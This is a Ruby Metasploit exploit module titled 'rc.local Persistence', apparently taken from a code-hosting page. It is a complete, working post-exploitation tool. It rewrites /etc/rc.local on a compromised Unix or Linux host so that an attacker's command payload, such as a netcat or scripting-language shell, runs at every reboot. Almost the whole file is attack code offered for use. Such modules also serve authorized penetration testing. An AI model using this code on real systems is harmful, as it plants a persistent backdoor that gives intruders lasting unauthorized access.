58 lines
1.7 KiB
Ruby
58 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Unix
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'rc.local Persistence',
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'Description' => %q(
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This module will edit /etc/rc.local in order to persist a payload.
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The payload will be executed on the next reboot.
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),
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'License' => MSF_LICENSE,
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'Author' => [ 'Eliott Teissonniere' ],
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'Platform' => [ 'unix', 'linux' ],
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'Arch' => ARCH_CMD,
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'Payload' => {
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'BadChars' => "#%\n",
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'Compat' => {
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic python ruby netcat perl'
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}
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},
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
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'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
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'Targets' => [ ['Automatic', {}] ],
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'DefaultTarget' => 0
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))
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end
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def exploit
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rc_path = '/etc/rc.local'
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unless writable? rc_path
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fail_with Failure::BadConfig, "#{rc_path} is not writable"
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end
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print_status "Reading #{rc_path}"
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# read /etc/rc.local, but remove `exit 0`
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rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
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# add payload and put back `exit 0`
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rc_local << "\n#{payload.encoded}\nexit 0\n"
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# write new file
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print_status "Patching #{rc_path}"
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write_file(rc_path, rc_local)
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end
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end
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